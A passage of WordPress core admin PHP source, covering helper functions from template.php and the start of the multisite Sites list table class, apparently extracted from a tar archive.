the setting value before returning errors. * @param boolean $hide_on_update If set to true errors will not be shown if the settings page has already been submitted. */ function settings_errors( $setting = '', $sanitize = false, $hide_on_update = false ) { if ( $hide_on_update && ! empty( $_GET['settings-updated'] ) ) return; $settings_errors = get_settings_errors( $setting, $sanitize ); if ( empty( $settings_errors ) ) return; $output = ''; foreach ( $settings_errors as $key => $details ) { $css_id = 'setting-error-' . $details['code']; $css_class = $details['type'] . ' settings-error'; $output .= "<div id='$css_id' class='$css_class'> \n"; $output .= "<p><strong>{$details['message']}</strong></p>"; $output .= "</div> \n"; } echo $output; } /** * {@internal Missing Short Description}} * * @since 2.7.0 * * @param unknown_type $found_action */ function find_posts_div($found_action = '') { ?> <div id="find-posts" class="find-box" style="display: none;"> <div id="find-posts-head" class="find-box-head"> <?php _e( 'Find Posts or Pages' ); ?> <div id="find-posts-close"></div> </div> <div class="find-box-inside"> <div class="find-box-search"> <?php if ( $found_action ) { ?> <input type="hidden" name="found_action" value="<?php echo esc_attr($found_action); ?>" /> <?php } ?> <input type="hidden" name="affected" id="affected" value="" /> <?php wp_nonce_field( 'find-posts', '_ajax_nonce', false ); ?> <label class="screen-reader-text" for="find-posts-input"><?php _e( 'Search' ); ?></label> <input type="text" id="find-posts-input" name="ps" value="" /> <span class="spinner"></span> <input type="button" id="find-posts-search" value="<?php esc_attr_e( 'Search' ); ?>" class="button" /> <div class="clear"></div> </div> <div id="find-posts-response"></div> </div> <div class="find-box-buttons"> <?php submit_button( __( 'Select' ), 'button-primary alignright', 'find-posts-submit', false ); ?> <div class="clear"></div> </div> </div> <?php } /** * Display the post password. * * The password is passed through {@link esc_attr()} to ensure that it * is safe for placing in an html attribute. * * @uses attr * @since 2.7.0 */ function the_post_password() { $post = get_post(); if ( isset( $post->post_password ) ) echo esc_attr( $post->post_password ); } /** * Get the post title. * * The post title is fetched and if it is blank then a default string is * returned. * * @since 2.7.0 * @param mixed $post Post id or object. If not supplied the global $post is used. * @return string The post title if set */ function _draft_or_post_title( $post = 0 ) { $title = get_the_title( $post ); if ( empty( $title ) ) $title = __( '(no title)' ); return esc_html( $title ); } /** * Display the search query. * * A simple wrapper to display the "s" parameter in a GET URI. This function * should only be used when {@link the_search_query()} cannot. * * @uses attr * @since 2.7.0 * */ function _admin_search_query() { echo isset($_REQUEST['s']) ? esc_attr( wp_unslash( $_REQUEST['s'] ) ) : ''; } /** * Generic Iframe header for use with Thickbox * * @since 2.7.0 * @param string $title Title of the Iframe page. * @param bool $limit_styles Limit styles to colour-related styles only (unless others are enqueued). * */ function iframe_header( $title = '', $limit_styles = false ) { show_admin_bar( false ); global $hook_suffix, $current_user, $admin_body_class, $wp_locale; $admin_body_class = preg_replace('/[^a-z0-9_-]+/i', '-', $hook_suffix); $current_screen = get_current_screen(); @header( 'Content-Type: ' . get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ) ); _wp_admin_html_begin(); ?> <title><?php bloginfo('name') ?> › <?php echo $title ?> — <?php _e('WordPress'); ?></title> <?php wp_enqueue_style( 'colors' ); ?> <script type="text/javascript"> //<![CDATA[ addLoadEvent = function(func){if(typeof jQuery!="undefined")jQuery(document).ready(func);else if(typeof wpOnload!='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}}; function tb_close(){var win=window.dialogArguments||opener||parent||top;win.tb_remove();} var ajaxurl = '<?php echo esc_js( admin_url( 'admin-ajax.php', 'relative' ) ); ?>', pagenow = '<?php echo esc_js( $current_screen->id ); ?>', typenow = '<?php echo esc_js( $current_screen->post_type ); ?>', adminpage = '<?php echo esc_js( $admin_body_class ); ?>', thousandsSeparator = '<?php echo esc_js( $wp_locale->number_format['thousands_sep'] ); ?>', decimalPoint = '<?php echo esc_js( $wp_locale->number_format['decimal_point'] ); ?>', isRtl = <?php echo (int) is_rtl(); ?>; //]]> </script> <?php /** This action is documented in wp-admin/admin-header.php */ do_action( 'admin_enqueue_scripts', $hook_suffix ); /** This action is documented in wp-admin/admin-header.php */ do_action( "admin_print_styles-$hook_suffix" ); /** This action is documented in wp-admin/admin-header.php */ do_action( 'admin_print_styles' ); /** This action is documented in wp-admin/admin-header.php */ do_action( "admin_print_scripts-$hook_suffix" ); /** This action is documented in wp-admin/admin-header.php */ do_action( 'admin_print_scripts' ); /** This action is documented in wp-admin/admin-header.php */ do_action( "admin_head-$hook_suffix" ); /** This action is documented in wp-admin/admin-header.php */ do_action( 'admin_head' ); $admin_body_class .= ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_locale() ) ) ); if ( is_rtl() ) $admin_body_class .= ' rtl'; ?> </head> <?php /** This filter is documented in wp-admin/admin-header.php */ ?> <body<?php if ( isset($GLOBALS['body_id']) ) echo ' id="' . $GLOBALS['body_id'] . '"'; ?> class="wp-admin wp-core-ui no-js iframe <?php echo apply_filters( 'admin_body_class', '' ) . ' ' . $admin_body_class; ?>"> <script type="text/javascript"> //<![CDATA[ (function(){ var c = document.body.className; c = c.replace(/no-js/, 'js'); document.body.className = c; })(); //]]> </script> <?php } /** * Generic Iframe footer for use with Thickbox * * @since 2.7.0 * */ function iframe_footer() { /* * We're going to hide any footer output on iFrame pages, * but run the hooks anyway since they output Javascript * or other needed content. */ ?> <div class="hidden"> <?php /** This action is documented in wp-admin/admin-footer.php */ do_action( 'admin_footer', '' ); /** This action is documented in wp-admin/admin-footer.php */ do_action( 'admin_print_footer_scripts' ); ?> </div> <script type="text/javascript">if(typeof wpOnload=="function")wpOnload();</script> </body> </html> <?php } function _post_states($post) { $post_states = array(); if ( isset( $_REQUEST['post_status'] ) ) $post_status = $_REQUEST['post_status']; else $post_status = ''; if ( !empty($post->post_password) ) $post_states['protected'] = __('Password protected'); if ( 'private' == $post->post_status && 'private' != $post_status ) $post_states['private'] = __('Private'); if ( 'draft' == $post->post_status && 'draft' != $post_status ) $post_states['draft'] = __('Draft'); if ( 'pending' == $post->post_status && 'pending' != $post_status ) /* translators: post state */ $post_states['pending'] = _x('Pending', 'post state'); if ( is_sticky($post->ID) ) $post_states['sticky'] = __('Sticky'); /** * Filter the default post display states used in the Posts list table. * * @since 2.8.0 * * @param array $post_states An array of post display states. Values include 'Password protected', * 'Private', 'Draft', 'Pending', and 'Sticky'. * @param int $post The post ID. */ $post_states = apply_filters( 'display_post_states', $post_states, $post ); if ( ! empty($post_states) ) { $state_count = count($post_states); $i = 0; echo ' - '; foreach ( $post_states as $state ) { ++$i; ( $i == $state_count ) ? $sep = '' : $sep = ', '; echo "<span class='post-state'>$state$sep</span>"; } } } function _media_states( $post ) { $media_states = array(); $stylesheet = get_option('stylesheet'); if ( current_theme_supports( 'custom-header') ) { $meta_header = get_post_meta($post->ID, '_wp_attachment_is_custom_header', true ); if ( ! empty( $meta_header ) && $meta_header == $stylesheet ) $media_states[] = __( 'Header Image' ); } if ( current_theme_supports( 'custom-background') ) { $meta_background = get_post_meta($post->ID, '_wp_attachment_is_custom_background', true ); if ( ! empty( $meta_background ) && $meta_background == $stylesheet ) $media_states[] = __( 'Background Image' ); } /** * Filter the default media display states for items in the Media list table. * * @since 3.2.0 * * @param array $media_states An array of media states. Default 'Header Image', * 'Background Image'. */ $media_states = apply_filters( 'display_media_states', $media_states ); if ( ! empty( $media_states ) ) { $state_count = count( $media_states ); $i = 0; echo ' - '; foreach ( $media_states as $state ) { ++$i; ( $i == $state_count ) ? $sep = '' : $sep = ', '; echo "<span class='post-state'>$state$sep</span>"; } } } /** * Test support for compressing JavaScript from PHP * * Outputs JavaScript that tests if compression from PHP works as expected * and sets an option with the result. Has no effect when the current user * is not an administrator. To run the test again the option 'can_compress_scripts' * has to be deleted. * * @since 2.8.0 */ function compression_test() { ?> <script type="text/javascript"> /* <![CDATA[ */ var testCompression = { get : function(test) { var x; if ( window.XMLHttpRequest ) { x = new XMLHttpRequest(); } else { try{x=new ActiveXObject('Msxml2.XMLHTTP');}catch(e){try{x=new ActiveXObject('Microsoft.XMLHTTP');}catch(e){};} } if (x) { x.onreadystatechange = function() { var r, h; if ( x.readyState == 4 ) { r = x.responseText.substr(0, 18); h = x.getResponseHeader('Content-Encoding'); testCompression.check(r, h, test); } } x.open('GET', ajaxurl + '?action=wp-compression-test&test='+test+'&'+(new Date()).getTime(), true); x.send(''); } }, check : function(r, h, test) { if ( ! r && ! test ) this.get(1); if ( 1 == test ) { if ( h && ( h.match(/deflate/i) || h.match(/gzip/i) ) ) this.get('no'); else this.get(2); return; } if ( 2 == test ) { if ( '"wpCompressionTest' == r ) this.get('yes'); else this.get('no'); } } }; testCompression.check(); /* ]]> */ </script> <?php } /** * Echoes a submit button, with provided text and appropriate class(es). * * @since 3.1.0 * * @see get_submit_button() * * @param string $text The text of the button (defaults to 'Save Changes') * @param string $type Optional. The type and CSS class(es) of the button. Core values * include 'primary', 'secondary', 'delete'. Default 'primary' * @param string $name The HTML name of the submit button. Defaults to "submit". If no * id attribute is given in $other_attributes below, $name will be * used as the button's id. * @param bool $wrap True if the output button should be wrapped in a paragraph tag, * false otherwise. Defaults to true * @param array|string $other_attributes Other attributes that should be output with the button, mapping * attributes to their values, such as setting tabindex to 1, etc. * These key/value attribute pairs will be output as attribute="value", * where attribute is the key. Other attributes can also be provided * as a string such as 'tabindex="1"', though the array format is * preferred. Default null. */ function submit_button( $text = null, $type = 'primary', $name = 'submit', $wrap = true, $other_attributes = null ) { echo get_submit_button( $text, $type, $name, $wrap, $other_attributes ); } /** * Returns a submit button, with provided text and appropriate class * * @since 3.1.0 * * @param string $text The text of the button (defaults to 'Save Changes') * @param string $type The type of button. One of: primary, secondary, delete * @param string $name The HTML name of the submit button. Defaults to "submit". If no id attribute * is given in $other_attributes below, $name will be used as the button's id. * @param bool $wrap True if the output button should be wrapped in a paragraph tag, * false otherwise. Defaults to true * @param array|string $other_attributes Other attributes that should be output with the button, * mapping attributes to their values, such as array( 'tabindex' => '1' ). * These attributes will be output as attribute="value", such as tabindex="1". * Defaults to no other attributes. Other attributes can also be provided as a * string such as 'tabindex="1"', though the array format is typically cleaner. */ function get_submit_button( $text = null, $type = 'primary large', $name = 'submit', $wrap = true, $other_attributes = null ) { if ( ! is_array( $type ) ) $type = explode( ' ', $type ); $button_shorthand = array( 'primary', 'small', 'large' ); $classes = array( 'button' ); foreach ( $type as $t ) { if ( 'secondary' === $t || 'button-secondary' === $t ) continue; $classes[] = in_array( $t, $button_shorthand ) ? 'button-' . $t : $t; } $class = implode( ' ', array_unique( $classes ) ); if ( 'delete' === $type ) $class = 'button-secondary delete'; $text = $text ? $text : __( 'Save Changes' ); // Default the id attribute to $name unless an id was specifically provided in $other_attributes $id = $name; if ( is_array( $other_attributes ) && isset( $other_attributes['id'] ) ) { $id = $other_attributes['id']; unset( $other_attributes['id'] ); } $attributes = ''; if ( is_array( $other_attributes ) ) { foreach ( $other_attributes as $attribute => $value ) { $attributes .= $attribute . '="' . esc_attr( $value ) . '" '; // Trailing space is important } } else if ( !empty( $other_attributes ) ) { // Attributes provided as a string $attributes = $other_attributes; } $button = '<input type="submit" name="' . esc_attr( $name ) . '" id="' . esc_attr( $id ) . '" class="' . esc_attr( $class ); $button .= '" value="' . esc_attr( $text ) . '" ' . $attributes . ' />'; if ( $wrap ) { $button = '<p class="submit">' . $button . '</p>'; } return $button; } function _wp_admin_html_begin() { global $is_IE; $admin_html_class = ( is_admin_bar_showing() ) ? 'wp-toolbar' : ''; if ( $is_IE ) @header('X-UA-Compatible: IE=edge'); /** * Fires inside the HTML tag in the admin header. * * @since 2.2.0 */ ?> <!DOCTYPE html> <!--[if IE 8]> <html xmlns="http://www.w3.org/1999/xhtml" class="ie8 <?php echo $admin_html_class; ?>" <?php do_action( 'admin_xml_ns' ); ?> <?php language_attributes(); ?>> <![endif]--> <!--[if !(IE 8) ]><!--> <?php /** This action is documented in wp-admin/includes/template.php */ ?> <html xmlns="http://www.w3.org/1999/xhtml" class="<?php echo $admin_html_class; ?>" <?php do_action( 'admin_xml_ns' ); ?> <?php language_attributes(); ?>> <!--<![endif]--> <head> <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php echo get_option('blog_charset'); ?>" /> <?php } final class WP_Internal_Pointers { /** * Initializes the new feature pointers. * * @since 3.3.0 * * All pointers can be disabled using the following: * remove_action( 'admin_enqueue_scripts', array( 'WP_Internal_Pointers', 'enqueue_scripts' ) ); * * Individual pointers (e.g. wp390_widgets) can be disabled using the following: * remove_action( 'admin_print_footer_scripts', array( 'WP_Internal_Pointers', 'pointer_wp390_widgets' ) ); */ public static function enqueue_scripts( $hook_suffix ) { /* * Register feature pointers * Format: array( hook_suffix => pointer_id ) */ $registered_pointers = array( 'post-new.php' => 'wp350_media', 'post.php' => array( 'wp350_media', 'wp360_revisions' ), 'edit.php' => 'wp360_locks', 'widgets.php' => 'wp390_widgets', 'themes.php' => 'wp390_widgets', ); // Check if screen related pointer is registered if ( empty( $registered_pointers[ $hook_suffix ] ) ) return; $pointers = (array) $registered_pointers[ $hook_suffix ]; $caps_required = array( 'wp350_media' => array( 'upload_files' ), 'wp390_widgets' => array( 'edit_theme_options' ), ); // Get dismissed pointers $dismissed = explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) ); $got_pointers = false; foreach ( array_diff( $pointers, $dismissed ) as $pointer ) { if ( isset( $caps_required[ $pointer ] ) ) { foreach ( $caps_required[ $pointer ] as $cap ) { if ( ! current_user_can( $cap ) ) continue 2; } } // Bind pointer print function add_action( 'admin_print_footer_scripts', array( 'WP_Internal_Pointers', 'pointer_' . $pointer ) ); $got_pointers = true; } if ( ! $got_pointers ) return; // Add pointers script and style to queue wp_enqueue_style( 'wp-pointer' ); wp_enqueue_script( 'wp-pointer' ); } /** * Print the pointer javascript data. * * @since 3.3.0 * * @param string $pointer_id The pointer ID. * @param string $selector The HTML elements, on which the pointer should be attached. * @param array $args Arguments to be passed to the pointer JS (see wp-pointer.js). */ private static function print_js( $pointer_id, $selector, $args ) { if ( empty( $pointer_id ) || empty( $selector ) || empty( $args ) || empty( $args['content'] ) ) return; ?> <script type="text/javascript"> //<![CDATA[ (function($){ var options = <?php echo json_encode( $args ); ?>, setup; if ( ! options ) return; options = $.extend( options, { close: function() { $.post( ajaxurl, { pointer: '<?php echo $pointer_id; ?>', action: 'dismiss-wp-pointer' }); } }); setup = function() { $('<?php echo $selector; ?>').first().pointer( options ).pointer('open'); }; if ( options.position && options.position.defer_loading ) $(window).bind( 'load.wp-pointers', setup ); else $(document).ready( setup ); })( jQuery ); //]]> </script> <?php } public static function pointer_wp330_toolbar() {} public static function pointer_wp330_media_uploader() {} public static function pointer_wp330_saving_widgets() {} public static function pointer_wp340_customize_current_theme_link() {} public static function pointer_wp340_choose_image_from_library() {} public static function pointer_wp350_media() { $content = '<h3>' . __( 'New Media Manager' ) . '</h3>'; $content .= '<p>' . __( 'Uploading files and creating image galleries has a whole new look. Check it out!' ) . '</p>'; self::print_js( 'wp350_media', '.insert-media', array( 'content' => $content, 'position' => array( 'edge' => is_rtl() ? 'right' : 'left', 'align' => 'center' ), ) ); } public static function pointer_wp360_revisions() { $content = '<h3>' . __( 'Compare Revisions' ) . '</h3>'; $content .= '<p>' . __( 'View, compare, and restore other versions of this content on the improved revisions screen.' ) . '</p>'; self::print_js( 'wp360_revisions', '.misc-pub-section.misc-pub-revisions', array( 'content' => $content, 'position' => array( 'edge' => is_rtl() ? 'left' : 'right', 'align' => 'center', 'my' => is_rtl() ? 'left' : 'right-14px' ), ) ); } public static function pointer_wp360_locks() { if ( ! is_multi_author() ) { return; } $content = '<h3>' . __( 'Edit Lock' ) . '</h3>'; $content .= '<p>' . __( 'Someone else is editing this. No need to refresh; the lock will disappear when they’re done.' ) . '</p>'; self::print_js( 'wp360_locks', 'tr.wp-locked .locked-indicator', array( 'content' => $content, 'position' => array( 'edge' => 'left', 'align' => 'left' ), ) ); } public static function pointer_wp390_widgets() { if ( ! current_theme_supports( 'widgets' ) ) { return; } $content = '<h3>' . __( 'New Feature: Live Widget Previews' ) . '</h3>'; $content .= '<p>' . __( 'Add, edit, and play around with your widgets from the theme customizer.' ) . ' ' . __( 'Preview your changes in real-time and only save them when you’re ready.' ) . '</p>'; if ( 'themes' === get_current_screen()->id ) { $selector = '.theme.active .customize'; $position = array( 'edge' => is_rtl() ? 'right' : 'left', 'align' => 'center', 'my' => is_rtl() ? 'right-13px' : '' ); } else { $selector = 'a[href="customize.php"]'; if ( is_rtl() ) { $position = array( 'edge' => 'right', 'align' => 'center', 'my' => 'right-5px' ); } else { $position = array( 'edge' => 'left', 'align' => 'center', 'my' => 'left-5px' ); } } self::print_js( 'wp390_widgets', $selector, array( 'content' => $content, 'position' => $position, ) ); } /** * Prevents new users from seeing existing 'new feature' pointers. * * @since 3.3.0 */ public static function dismiss_pointers_for_new_users( $user_id ) { add_user_meta( $user_id, 'dismissed_wp_pointers', 'wp350_media,wp360_revisions,wp360_locks,wp390_widgets' ); } } add_action( 'admin_enqueue_scripts', array( 'WP_Internal_Pointers', 'enqueue_scripts' ) ); add_action( 'user_register', array( 'WP_Internal_Pointers', 'dismiss_pointers_for_new_users' ) ); /** * Convert a screen string to a screen object * * @since 3.0.0 * * @param string $hook_name The hook name (also known as the hook suffix) used to determine the screen. * @return WP_Screen Screen object. */ function convert_to_screen( $hook_name ) { if ( ! class_exists( 'WP_Screen' ) ) { _doing_it_wrong( 'convert_to_screen(), add_meta_box()', __( "Likely direct inclusion of wp-admin/includes/template.php in order to use add_meta_box(). This is very wrong. Hook the add_meta_box() call into the add_meta_boxes action instead." ), '3.3' ); return (object) array( 'id' => '_invalid', 'base' => '_are_belong_to_us' ); } return WP_Screen::get( $hook_name ); } /** * Output the HTML for restoring the post data from DOM storage * * @since 3.6.0 * @access private */ function _local_storage_notice() { ?> <div id="local-storage-notice" class="hidden"> <p class="local-restore"> <?php _e('The backup of this post in your browser is different from the version below.'); ?> <a class="restore-backup" href="#"><?php _e('Restore the backup.'); ?></a> </p> <p class="undo-restore hidden"> <?php _e('Post restored successfully.'); ?> <a class="undo-restore-backup" href="#"><?php _e('Undo.'); ?></a> </p> </div> <?php } /** * Output a HTML element with a star rating for a given rating. * * Outputs a HTML element with the star rating exposed on a 0..5 scale in * half star increments (ie. 1, 1.5, 2 stars). Optionally, if specified, the * number of ratings may also be displayed by passing the $number parameter. * * @since 3.8.0 * @param array $args { * Optional. Array of star ratings arguments. * * @type int $rating The rating to display, expressed in either a 0.5 rating increment, * or percentage. Default 0. * @type string $type Format that the $rating is in. Valid values are 'rating' (default), * or, 'percent'. Default 'rating'. * @type int $number The number of ratings that makes up this rating. Default 0. * } */ function wp_star_rating( $args = array() ) { $defaults = array( 'rating' => 0, 'type' => 'rating', 'number' => 0, ); $r = wp_parse_args( $args, $defaults ); extract( $r, EXTR_SKIP ); // Non-english decimal places when the $rating is coming from a string $rating = str_replace( ',', '.', $rating ); // Convert Percentage to star rating, 0..5 in .5 increments if ( 'percent' == $type ) { $rating = round( $rating / 10, 0 ) / 2; } // Calculate the number of each type of star needed $full_stars = floor( $rating ); $half_stars = ceil( $rating - $full_stars ); $empty_stars = 5 - $full_stars - $half_stars; if ( $number ) { /* translators: 1: The rating, 2: The number of ratings */ $title = _n( '%1$s rating based on %2$s rating', '%1$s rating based on %2$s ratings', $number ); $title = sprintf( $title, number_format_i18n( $rating, 1 ), number_format_i18n( $number ) ); } else { /* translators: 1: The rating */ $title = sprintf( __( '%s rating' ), number_format_i18n( $rating, 1 ) ); } echo '<div class="star-rating" title="' . esc_attr( $title ) . '">'; echo str_repeat( '<div class="star star-full"></div>', $full_stars ); echo str_repeat( '<div class="star star-half"></div>', $half_stars ); echo str_repeat( '<div class="star star-empty"></div>', $empty_stars); echo '</div>'; } class-wp-ms-sites-list-table.php000077700000035160151514577750012643 0ustar00<?php /** * Sites List Table class. * * @package WordPress * @subpackage List_Table * @since 3.1.0 * @access private */ class WP_MS_Sites_List_Table extends WP_List_Table { function __construct( $args = array() ) { parent::__construct( array( 'plural' => 'sites', 'screen' => isset( $args['screen'] ) ? $args['screen'] : null, ) ); } function ajax_user_can() { return current_user_can( 'manage_sites' ); } function prepare_items() { global $s, $mode, $wpdb; $current_site = get_current_site(); $mode = ( empty( $_REQUEST['mode'] ) ) ? 'list' : $_REQUEST['mode']; $per_page = $this->get_items_per_page( 'sites_network_per_page' ); $pagenum = $this->get_pagenum(); $s = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST[ 's' ] ) ) : ''; $wild = ''; if ( false !== strpos($s, '*') ) { $wild = '%'; $s = trim($s, '*'); } $like_s = esc_sql( like_escape( $s ) ); // If the network is large and a search is not being performed, show only the latest blogs with no paging in order // to avoid expensive count queries. if ( !$s && wp_is_large_network() ) { if ( !isset($_REQUEST['orderby']) ) $_GET['orderby'] = $_REQUEST['orderby'] = ''; if ( !isset($_REQUEST['order']) ) $_GET['order'] = $_REQUEST['order'] = 'DESC'; } $query = "SELECT * FROM {$wpdb->blogs} WHERE site_id = '{$wpdb->siteid}' "; if ( empty($s) ) { // Nothing to do. } elseif ( preg_match( '/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/', $s ) || preg_match( '/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.?$/', $s ) || preg_match( '/^[0-9]{1,3}\.[0-9]{1,3}\.?$/', $s ) || preg_match( '/^[0-9]{1,3}\.$/', $s ) ) { // IPv4 address $reg_blog_ids = $wpdb->get_col( "SELECT blog_id FROM {$wpdb->registration_log} WHERE {$wpdb->registration_log}.IP LIKE ( '{$like_s}$wild' )" ); if ( !$reg_blog_ids ) $reg_blog_ids = array( 0 ); $query = "SELECT * FROM {$wpdb->blogs} WHERE site_id = '{$wpdb->siteid}' AND {$wpdb->blogs}.blog_id IN (" . implode( ', ', $reg_blog_ids ) . ")"; } else { if ( is_numeric($s) && empty( $wild ) ) { $query .= " AND ( {$wpdb->blogs}.blog_id = '{$like_s}' )"; } elseif ( is_subdomain_install() ) { $blog_s = str_replace( '.' . $current_site->domain, '', $like_s ); $blog_s .= $wild . '.' . $current_site->domain; $query .= " AND ( {$wpdb->blogs}.domain LIKE '$blog_s' ) "; } else { if ( $like_s != trim('/', $current_site->path) ) $blog_s = $current_site->path . $like_s . $wild . '/'; else $blog_s = $like_s; $query .= " AND ( {$wpdb->blogs}.path LIKE '$blog_s' )"; } } $order_by = isset( $_REQUEST['orderby'] ) ? $_REQUEST['orderby'] : ''; if ( $order_by == 'registered' ) { $query .= ' ORDER BY registered '; } elseif ( $order_by == 'lastupdated' ) { $query .= ' ORDER BY last_updated '; } elseif ( $order_by == 'blogname' ) { if ( is_subdomain_install() ) $query .= ' ORDER BY domain '; else $query .= ' ORDER BY path '; } elseif ( $order_by == 'blog_id' ) { $query .= ' ORDER BY blog_id '; } else { $order_by = null; } if ( isset( $order_by ) ) { $order = ( isset( $_REQUEST['order'] ) && 'DESC' == strtoupper( $_REQUEST['order'] ) ) ? "DESC" : "ASC"; $query .= $order; } // Don't do an unbounded count on large networks if ( ! wp_is_large_network() ) $total = $wpdb->get_var( str_replace( 'SELECT *', 'SELECT COUNT( blog_id )', $query ) ); $query .= " LIMIT " . intval( ( $pagenum - 1 ) * $per_page ) . ", " . intval( $per_page ); $this->items = $wpdb->get_results( $query, ARRAY_A ); if ( wp_is_large_network() ) $total = count($this->items); $this->set_pagination_args( array( 'total_items' => $total, 'per_page' => $per_page, ) ); } function no_items() { _e( 'No sites found.' ); } function get_bulk_actions() { $actions = array(); if ( current_user_can( 'delete_sites' ) ) $actions['delete'] = __( 'Delete' ); $actions['spam'] = _x( 'Mark as Spam', 'site' ); $actions['notspam'] = _x( 'Not Spam', 'site' ); return $actions; } function pagination( $which ) { global $mode; parent::pagination( $which ); if ( 'top' == $which ) $this->view_switcher( $mode ); } function get_columns() { $blogname_columns = ( is_subdomain_install() ) ? __( 'Domain' ) : __( 'Path' ); $sites_columns = array( 'cb' => '<input type="checkbox" />', 'blogname' => $blogname_columns, 'lastupdated' => __( 'Last Updated' ), 'registered' => _x( 'Registered', 'site' ), 'users' => __( 'Users' ) ); if ( has_filter( 'wpmublogsaction' ) ) $sites_columns['plugins'] = __( 'Actions' ); /** * Filter the displayed site columns in Sites list table. * * @since MU * * @param array $sites_columns An array of displayed site columns. Default 'cb', * 'blogname', 'lastupdated', 'registered', 'users'. */ $sites_columns = apply_filters( 'wpmu_blogs_columns', $sites_columns ); return $sites_columns; } function get_sortable_columns() { return array( 'blogname' => 'blogname', 'lastupdated' => 'lastupdated', 'registered' => 'blog_id', ); } function display_rows() { global $mode; $status_list = array( 'archived' => array( 'site-archived', __( 'Archived' ) ), 'spam' => array( 'site-spammed', _x( 'Spam', 'site' ) ), 'deleted' => array( 'site-deleted', __( 'Deleted' ) ), 'mature' => array( 'site-mature', __( 'Mature' ) ) ); $class = ''; foreach ( $this->items as $blog ) { $class = ( 'alternate' == $class ) ? '' : 'alternate'; reset( $status_list ); $blog_states = array(); foreach ( $status_list as $status => $col ) { if ( get_blog_status( $blog['blog_id'], $status ) == 1 ) { $class = $col[0]; $blog_states[] = $col[1]; } } $blog_state = ''; if ( ! empty( $blog_states ) ) { $state_count = count( $blog_states ); $i = 0; $blog_state .= ' - '; foreach ( $blog_states as $state ) { ++$i; ( $i == $state_count ) ? $sep = '' : $sep = ', '; $blog_state .= "<span class='post-state'>$state$sep</span>"; } } echo "<tr class='$class'>"; $blogname = ( is_subdomain_install() ) ? str_replace( '.' . get_current_site()->domain, '', $blog['domain'] ) : $blog['path']; list( $columns, $hidden ) = $this->get_column_info(); foreach ( $columns as $column_name => $column_display_name ) { $style = ''; if ( in_array( $column_name, $hidden ) ) $style = ' style="display:none;"'; switch ( $column_name ) { case 'cb': ?> <th scope="row" class="check-column"> <?php if ( ! is_main_site( $blog['blog_id'] ) ) : ?> <label class="screen-reader-text" for="blog_<?php echo $blog['blog_id']; ?>"><?php printf( __( 'Select %s' ), $blogname ); ?></label> <input type="checkbox" id="blog_<?php echo $blog['blog_id'] ?>" name="allblogs[]" value="<?php echo esc_attr( $blog['blog_id'] ) ?>" /> <?php endif; ?> </th> <?php break; case 'id':?> <th scope="row"> <?php echo $blog['blog_id'] ?> </th> <?php break; case 'blogname': echo "<td class='column-$column_name $column_name'$style>"; ?> <a href="<?php echo esc_url( network_admin_url( 'site-info.php?id=' . $blog['blog_id'] ) ); ?>" class="edit"><?php echo $blogname . $blog_state; ?></a> <?php if ( 'list' != $mode ) { switch_to_blog( $blog['blog_id'] ); echo '<p>' . sprintf( _x( '%1$s – <em>%2$s</em>', '%1$s: site name. %2$s: site tagline.' ), get_option( 'blogname' ), get_option( 'blogdescription ' ) ) . '</p>'; restore_current_blog(); } // Preordered. $actions = array( 'edit' => '', 'backend' => '', 'activate' => '', 'deactivate' => '', 'archive' => '', 'unarchive' => '', 'spam' => '', 'unspam' => '', 'delete' => '', 'visit' => '', ); $actions['edit'] = '<span class="edit"><a href="' . esc_url( network_admin_url( 'site-info.php?id=' . $blog['blog_id'] ) ) . '">' . __( 'Edit' ) . '</a></span>'; $actions['backend'] = "<span class='backend'><a href='" . esc_url( get_admin_url( $blog['blog_id'] ) ) . "' class='edit'>" . __( 'Dashboard' ) . '</a></span>'; if ( get_current_site()->blog_id != $blog['blog_id'] ) { if ( get_blog_status( $blog['blog_id'], 'deleted' ) == '1' ) $actions['activate'] = '<span class="activate"><a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&action2=activateblog&id=' . $blog['blog_id'] . '&msg=' . urlencode( sprintf( __( 'You are about to activate the site %s' ), $blogname ) ) ), 'confirm' ) ) . '">' . __( 'Activate' ) . '</a></span>'; else $actions['deactivate'] = '<span class="activate"><a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&action2=deactivateblog&id=' . $blog['blog_id'] . '&msg=' . urlencode( sprintf( __( 'You are about to deactivate the site %s' ), $blogname ) ) ), 'confirm') ) . '">' . __( 'Deactivate' ) . '</a></span>'; if ( get_blog_status( $blog['blog_id'], 'archived' ) == '1' ) $actions['unarchive'] = '<span class="archive"><a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&action2=unarchiveblog&id=' . $blog['blog_id'] . '&msg=' . urlencode( sprintf( __( 'You are about to unarchive the site %s.' ), $blogname ) ) ), 'confirm') ) . '">' . __( 'Unarchive' ) . '</a></span>'; else $actions['archive'] = '<span class="archive"><a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&action2=archiveblog&id=' . $blog['blog_id'] . '&msg=' . urlencode( sprintf( __( 'You are about to archive the site %s.' ), $blogname ) ) ), 'confirm') ) . '">' . _x( 'Archive', 'verb; site' ) . '</a></span>'; if ( get_blog_status( $blog['blog_id'], 'spam' ) == '1' ) $actions['unspam'] = '<span class="spam"><a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&action2=unspamblog&id=' . $blog['blog_id'] . '&msg=' . urlencode( sprintf( __( 'You are about to unspam the site %s.' ), $blogname ) ) ), 'confirm') ) . '">' . _x( 'Not Spam', 'site' ) . '</a></span>'; else $actions['spam'] = '<span class="spam"><a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&action2=spamblog&id=' . $blog['blog_id'] . '&msg=' . urlencode( sprintf( __( 'You are about to mark the site %s as spam.' ), $blogname ) ) ), 'confirm') ) . '">' . _x( 'Spam', 'site' ) . '</a></span>'; if ( current_user_can( 'delete_site', $blog['blog_id'] ) ) $actions['delete'] = '<span class="delete"><a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&action2=deleteblog&id=' . 